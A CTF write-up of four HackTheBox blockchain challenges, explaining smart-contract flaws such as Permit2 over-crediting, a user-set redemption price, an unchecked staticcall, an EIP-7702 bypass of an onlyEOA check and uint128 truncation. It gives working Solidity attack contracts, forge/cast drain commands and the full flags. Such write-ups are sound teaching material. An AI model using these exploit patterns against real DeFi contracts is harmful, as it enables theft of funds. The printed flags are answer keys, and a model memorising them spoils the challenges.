Neurogrid CTF: Human-Only 2025 | Blockchain
Neurogrid CTF: Human-Only 2025 was a 4-day CTF hosted by HackTheBox. I competed solo as “Legendary Queue” and finished in the top 4 out of 1337 players. This post covers the Blockchain challenges.


The Bank That Breathed Numbers [hard]
Description: Satoshi drained the imperial bank with contradictions: a permit that credited more than it transferred, a redemption path that paid whatever price he named, and a prize clerk who trusted a failing memory copy. He sent dust-sized requests through every “safe” gate until the vault’s own math emptied itself. The bank didn’t breathe numbers; it choked on them.
Points: 1000 | Difficulty: Hard
Analysis
A multi-contract DeFi system with a Bank (Permit2-enabled vault), AMM (HTB/USDC pool with withdrawal queue), and Shop (prize claiming with inline assembly). The win condition requires draining all WETH from Bank, all HTB and USDC from AMM, and flipping Setup.collected to true. Three separate bugs need to be chained.
Bug 1: Permit2 Misuse in Bank.depositTokenWithPermit
function depositTokenWithPermit(...) external {
balances[owner_][token] += permit.permitted.amount; // Credits MAX amount
permit2.permitTransferFrom(permit, transferDetails, owner_, signature); // Transfers REQUESTED amount
}
The Bank credits permit.permitted.amount (the maximum allowed) but Permit2 only transfers transferDetails.requestedAmount. By setting requestedAmount = 0, we get credited for 300 WETH without transferring anything, then withdraw the real WETH that Setup deposited.
Bug 2: User-Controlled Share Price in AMM
function redeemRequest(uint256 shares, uint256 sharePrice) external {
// sharePrice is user-controlled with NO validation!
request.totalValue = shares.mulDiv(sharePrice, PRECISION);
}
function fulfillRedeemPartial(uint256 sharesToFill, bool payToken0) external {
uint256 assetsOut = sharesToFill.mulDiv(request.sharePrice, PRECISION);
token0.transfer(msg.sender, assetsOut); // Drains pool
}
Pass an inflated sharePrice of 120000000000000000000000000000000000000000, and a single share redeems the entire pool balance.
Bug 3: Gas-Based Staticcall Bug in Shop.collectPrize
assembly {
let called := staticcall(gas(), 4, enc, ...) // Identity precompile
// 'called' is NEVER checked!
let amount := mload(add(nenc, 0x54))
if eq(amount, 0) {
mstore(0x00, 1)
return(0x00, 0x20) // Returns TRUE
}
}
If the staticcall to the identity precompile runs out of gas, it fails but the code continues. The destination memory remains zeroed, so amount == 0, triggering the early return with true. By carefully calibrating gas and payload size (~200KB hookData with ~500K gas), we force this condition.
Exploitation
The trickiest part was triggering the Shop bug - reasoning about exact gas costs for memory expansion and the identity precompile is error-prone. Instead, I deployed helper contracts to empirically map the behavior:
contract ShopProbe {
IShop public immutable shop;
function probe(uint256 hookSize, uint256 gasToForward)
external returns (bool callSuccess, bool result, uint256 gasBefore, uint256 gasAfter)
{
bytes memory hookData = new bytes(hookSize);
bytes memory callData = abi.encodeCall(IShop.collectPrize, (hookData));
gasBefore = gasleft();
(callSuccess, bytes memory ret) = address(shop).call{gas: gasToForward}(callData);
gasAfter = gasleft();
if (callSuccess && ret.length >= 32) result = abi.decode(ret, (bool));
}
}
contract SetupCaller {
ISetup public immutable setup;
function callSetup(uint256 hookSize, uint256 gasToForward) external returns (bool) {
bytes memory hookData = new bytes(hookSize);
bytes memory cd = abi.encodeCall(ISetup.collectPrize, (hookData));
(bool success,) = address(setup).call{gas: gasToForward}(cd);
return success;
}
}
Scanning with ShopProbe revealed that hookSize=200000 with gasToForward=500000 lands in the sweet spot where the staticcall fails but enough gas remains for the assembly to return true. The full exploit chain:
cast send $CALLER "callSetup(uint256,uint256)" 200000 500000 --gas-limit 10000000
# Permit2 exploit: sign for 300 WETH, request 0 actual transfer
cast send $BANK "depositTokenWithPermit(...)" "(($WETH,300e18),$NONCE,$DEADLINE)" "($BANK,0)" $WALLET $SIG
cast send $BANK "withdraw(address,uint256)" $WETH 300e18
# AMM drain with inflated share price
PRICE="120000000000000000000000000000000000000000"
cast send $AMM "redeemRequest(uint256,uint256)" 1 $PRICE
cast send $AMM "fulfillRedeemPartial(uint256,bool)" 1 true # HTB
cast send $AMM "redeemRequest(uint256,uint256)" 1 $PRICE
cast send $AMM "fulfillRedeemPartial(uint256,bool)" 1 false # USDC
Flag
Flag:
HTB{p4rt14l_bugs_w1th_g4s_0utpl4y_4r3_s4t1sfy1ng_e6f660511541e241009d5e4f8ec0a8ea}
The Contribution That Undid The Harbor [medium]
Description: In Kasumihama’s tide-slick docks, the port owner sold “fairness” as a lacquered token called Contribution—an NFT sigil minted only when a proposal pleased him. Satoshi exploited the revenue distribution system by creating multiple contribution tokens through same-block proposal acceptance combined with EIP-7702 delegation.
Points: 1000 | Difficulty: Medium
Analysis
The system uses a diamond-like proxy pattern with adapters for governance, revenue claiming, and port management. Win condition: player has ≥200 ETH AND revenue contract has 0 ETH. The revenue contract starts with 100 ETH, and runMarket() adds another 100 ETH (10 calls × 10 ETH each), split 80/20 between operator and contributors.
The acceptAndMint function in GovAdapter mints contribution NFTs but has an onlyEOA modifier:
modifier onlyEOA() {
if (IRouterOwner(address(this)).owner() == msg.sender) {
_;
} else {
require(msg.sender == tx.origin && msg.sender.code.length > 0, "Only_Owner_EOA");
_;
}
}
For non-owners, this requires msg.sender == tx.origin (EOA-initiated) AND msg.sender.code.length > 0 (has code). These are normally mutually exclusive - EOAs have no code, contracts aren’t tx.origin.
EIP-7702 breaks this assumption. It allows an EOA to temporarily delegate its code to a contract. During the delegated transaction, the EOA is still tx.origin, but code.length > 0 because of the delegation pointer. Both conditions satisfied.
Exploitation
Deploy an Attack contract, then use Foundry’s --auth flag to execute with EIP-7702 delegation:
contract Attack {
function attack(address router, address setup, address revenue, uint256 numTokens) external {
ISetup(setup).register();
// Create and accept 20 proposals (bypasses onlyEOA!)
for (uint256 i = 0; i < numTokens; i++) {
IRouter(router).propose(1, 1000, "attack");
}
for (uint256 i = 0; i < numTokens; i++) {
IRouter(router).acceptAndMint(2 + i);
}
ISetup(setup).runMarket(); // Distribute revenue
// Claim contributor credit (20 ETH) + buyout tokens (180 ETH)
IRouter(router).claimByToken(21);
for (uint256 i = 2; i <= 21; i++) {
try IRouter(router).buyout(i) {} catch {}
}
}
}
# Deploy attack contract
forge create --rpc-url $RPC --private-key $PRIVKEY src/Attack.sol:Attack
# Deployed to: 0x8E359AbC...
# Execute with EIP-7702 delegation (--auth flag)
cast send --private-key $PRIVKEY --rpc-url $RPC \
--auth $ATTACK \
$WALLET \
"attack(address,address,address,uint256)" \
$ROUTER $SETUP $REVENUE 20
The --auth $ATTACK flag creates an EIP-7702 authorization, allowing the EOA to execute the Attack contract’s code while maintaining tx.origin == msg.sender.
Flag
Flag:
HTB{sp3c14l_30a_pr0p053_f4llb4ck_4cc3p7_m1n7_buy0u7_c2d301d6f670a4a47da4daea39dc94cb}
The Debt That Hunts the Poor [easy]
Description: In Tamegawa, the new imperial lending hall promised “opportunity for all”: anyone could borrow coin against their tools, boats, or harvest, but only “VIP liquidators” those who first locked twenty thousand coins in the system were allowed to seize collateral when a borrower slipped, and those VIPs kept a bonus cut of whatever they took; Satoshi sat quietly in the back and watched it happen, watched a fisherman lose his nets, watched a widow lose her rice field, watched a sick boy’s medicine chest get “liquidated” because repayment was late by one sunset, and all of it went not to the hall, not to the village, but straight into the pockets of the already-rich who could afford VIP status; that night, Satoshi scratched the rule onto the lending house door in ash and oil “only the wealthy may harvest the desperate” and read it aloud in the square until people understood this wasn’t a loan market, it was a feeding trough, and the borrowers were the feed.
Points: 975 | Difficulty: Easy
Analysis
The lending protocol has per-address VIP status and yield claiming. VIP requires ≥20,000 in collateral, and VIPs can claim 20,000 YLD each. My first attempt was self-liquidation cycles: become VIP, claim YLD, deposit it as collateral, borrow max, accrue 25% interest via accrueFor(), self-liquidate, repeat. But each cycle adds permanent debt while YLD collateral can’t be seized - after 6-7 cycles the position becomes insolvent with no borrowing capacity left for the 75k YUGEN target.
The actual bug: VIP status and YLD claims are per-address. Instead of accumulating debt, deploy multiple helper contracts that each receive collateral, deposit to become VIP, claim 20k YLD (transferring it out), then withdraw collateral and pass it to the next helper. This yields 140k YLD across 7 addresses with zero debt.
Exploitation
contract VipHelper {
function becomeVipAndClaimYld() external {
usdt.approve(address(pair), type(uint256).max);
yugen.approve(address(pair), type(uint256).max);
pair.deposit(address(usdt), usdt.balanceOf(address(this)));
pair.deposit(address(yugen), yugen.balanceOf(address(this)));
setup.claimYield(); // 20k YLD
yld.transfer(owner, yld.balanceOf(address(this)));
}
function withdrawAndTransfer(address to) external {
pair.withdraw(address(usdt), pair.collA(address(this)));
pair.withdraw(address(yugen), pair.collB(address(this)));
usdt.transfer(to, usdt.balanceOf(address(this)));
yugen.transfer(to, yugen.balanceOf(address(this)));
}
}
contract MultiVipExploit {
function exploit() external payable {
setup.register{value: 0.5 ether}(address(this));
setup.claim(); // 20k USDT + 20k YUGEN
// First claim as main contract
pair.deposit(address(usdt), 20_000 ether);
pair.deposit(address(yugen), 20_000 ether);
setup.claimYield();
pair.withdraw(address(usdt), 20_000 ether);
pair.withdraw(address(yugen), 20_000 ether);
// Cycle through 6 helpers
for (uint i = 0; i < 6; i++) {
VipHelper helper = new VipHelper(address(setup));
usdt.transfer(address(helper), usdt.balanceOf(address(this)));
yugen.transfer(address(helper), yugen.balanceOf(address(this)));
helper.becomeVipAndClaimYld();
helper.withdrawAndTransfer(address(this));
}
// Now have 140k YLD with 0 debt
pair.depositYield(yld.balanceOf(address(this)));
pair.borrow(address(yugen), 75_000 ether);
pair.withdrawYield(20_000 ether);
}
}
Flag
Flag:
HTB{S3lf_Yi3ld_L1qu1d4t10n_And_V1p_Yug3n_T0k3n_L00p_6449d6acb9f6dc4b1f7a3dc4cff3209a}
The Claim That Broke The Oath [very easy]
Description: When famine struck the river wards, the imperial vault promised fairness through a “claim rite” where anyone could request aid as long as their losses were approved by an assessor’s seal. The decree sounded righteous, combining math and mercy in one. But Satoshi, a quiet scribe from the docks, doubted the purity of its numbers. He spent nights studying the relief ledgers and the symbols that certified truth until he saw that the vault’s arithmetic did not balance. It bent in favor of those who already had plenty. At dawn, he walked into the square carrying his own seal, one that should not exist, and submitted his claim. What followed was not a theft but a reckoning. The vault’s counting script faltered, the books split open, and the market floor filled with what it had hidden. The stewards called it heresy. The people called it proof. By nightfall, the vault’s oath of “pure balance” was shattered. In its broken sums, Satoshi left a message no emperor could ignore: “Even the fairest claim can be written false.”
Points: 975 | Difficulty: Very Easy
Analysis
A bonus vault contract where users can claim bonuses via an oracle. The vulnerability is immediately visible:
function claimBonus(IOracleU oracle) external {
uint256 delta = oracle.adjust(msg.sender);
require(uint128(delta) <= MAX_BONUS, "cap"); // Checks truncated value
credits[msg.sender] += delta; // Adds FULL value
}
The check casts delta to uint128 before comparing against MAX_BONUS (100 ETH), but the full uint256 value is added to credits. Crafting delta = 2^128 + 1 gives us uint128(2^128 + 1) = 1 which passes the check, but credits receives the full massive value.
Exploitation
Deploy a malicious oracle that returns 2^128 + 1:
contract MaliciousOracle is IOracleU {
function adjust(address) external pure override returns (uint256) {
return (uint256(1) << 128) + 1; // 2^128 + 1
}
}
# Deploy malicious oracle
forge create Exploit.sol:MaliciousOracle --rpc-url $RPC --private-key $PRIVKEY
# Deployed to: 0x73ef18B4...
# Claim bonus with our oracle
cast send $VAULT "claimBonus(address)" $ORACLE --rpc-url $RPC --private-key $PRIVKEY
# Verify solved
cast call $SETUP "isSolved()" --rpc-url $RPC
# true
Flag
Flag:
HTB{L0wB1t5_P4ss3d_H1ghBit5_Expl0d3d_459f6c18666e3bcb3b820d9f5712f80f}